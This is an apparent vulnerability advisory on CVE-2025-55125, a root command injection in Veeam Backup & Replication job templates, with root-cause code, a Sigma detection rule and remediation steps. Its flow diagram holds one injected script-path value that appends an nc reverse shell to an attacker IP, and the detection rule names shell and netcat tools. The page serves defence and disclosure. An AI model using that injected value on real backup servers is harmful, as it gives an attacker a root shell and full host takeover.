Skip to content
Hermes Codex

CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & Replication

HERMES

HERMES THREAT SCORE & JOB CONFIGURATION RISK

Target: Veeam Backup Configuration Parsing and Job Scheduling Subsystem
Confidence: 98%
86 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 16 / 20
Weaponization 18 / 20
Exposure 16 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 17 / 20
Attack Chain Potential 20 / 20
⚖️ Divergence & Operational Rationale

Hermes rates CVE-2025-55125 at 86 (HIGH). The vulnerability allows non-administrative operators to achieve complete root access on Linux-based backup servers or remote proxy engines. The flaw lies directly within the job configuration template deserializer, turning restricted console access into an unconstrained host compromise.

🕸️ Connected Knowledge Graph & Provenance

CVE-2025-55125: Root Command Injection via Backup Configuration in Veeam Backup & ReplicationVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTVeeam Backup & Replication
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Veeam Backup & Replication documented in Hermes dossier.”

Supporting Verified Evidence:

1. Metadata & Attack Surface

Section titled “1. Metadata & Attack Surface”
MetricTechnical SpecificationOperational Impact
CVE IdentifierCVE-2025-55125Official NVD / MITRE tracking record
Vendor AdvisoryVeeam KB4716Cumulative security update for VBR v13
Affected ComponentConfiguration Engine / Job Template DeserializerJob scheduling and template ingestion
Affected ReleasesVBR 13.x $\le$ 13.0.1.180Linux and Windows deployments
Patched ReleaseVeeam Backup & Replication 13.0.1.1071Recommended remediation
Vulnerability ClassCWE-78: OS Command InjectionLocal privilege escalation to superuser
Prerequisite AccessBackup Operator or Tape OperatorLow-privileged authenticated role
Resulting Accessroot (Linux) / SYSTEM (Windows)Complete host takeover

2. Technical Root Cause Analysis

Section titled “2. Technical Root Cause Analysis”

Application-aware image processing supports executing custom pre-freeze and post-thaw scripts to guarantee database and filesystem consistency.

CVE-2025-55125 Command Injection Flow:


  ┌────────────────────────────────────────────────────────┐
  │ Authenticated Operator (Backup Operator)               │
  └───────────────────────────┬────────────────────────────┘
                              │ Ingests crafted configuration template
                              │ ScriptPath = "/bin/true; nc -e /bin/sh 10.10.14.5 9001"
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Veeam Backup Service (Executing as root)               │
  │   1. Deserializes configuration attributes             │
  │   2. Invocates Process.Start("/bin/sh", "-c " + path)  │
  │   3. Omits command metacharacter filtering             │
  └───────────────────────────┬────────────────────────────┘
                              │ Spawns child shell
                              ▼
  ┌────────────────────────────────────────────────────────┐
  │ Interactive root shell connection dispatched to C2     │
  └────────────────────────────────────────────────────────┘

Unfiltered Shell Invocation

Section titled “Unfiltered Shell Invocation”

When deserializing imported job templates, the quiescence script path was directly concatenated into the shell invocation string:

// Vulnerability pattern illustration:
string scriptCommand = config.PreFreezeScript;
ProcessStartInfo psi = new ProcessStartInfo("/bin/sh", "-c " + scriptCommand) {
    UseShellExecute = false,
    RedirectStandardOutput = true
};
Process.Start(psi);

Using standard command separators (;, &&, |), any operator can break out of the intended binary path and execute arbitrary shell commands with root privileges.

3. Detection & Threat Hunting

Section titled “3. Detection & Threat Hunting”

Sigma Rule: Anomalous Shell Spawn by Veeam Service

Section titled “Sigma Rule: Anomalous Shell Spawn by Veeam Service”
title: Shell Command Injection from Veeam Backup Service
id: cve-2025-55125-veeam-cmd-injection
status: experimental
description: Detects unexpected child shells or network utilities spawned by Veeam services
references:
    - https://www.veeam.com/kb4716
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith:
            - '/veeamsvc'
            - '/VeeamDeploymentService'
        Image|endswith:
            - '/bin/sh'
            - '/bin/bash'
            - '/usr/bin/nc'
            - '/usr/bin/python3'
        CommandLine|contains:
            - ';'
            - '&&'
            - '|'
            - 'nc -'
    condition: selection
level: critical

4. Remediation & Hardening

Section titled “4. Remediation & Hardening”
  1. Upgrade Immediately: Apply Veeam Backup & Replication 13.0.1.1071 (KB4716).
  2. Disable Custom Quiescence Scripts: Restrict custom script execution via global Veeam configuration policies.
  3. Role Segregation: Restrict job template import capabilities to primary backup administrators.

5. References

Section titled “5. References”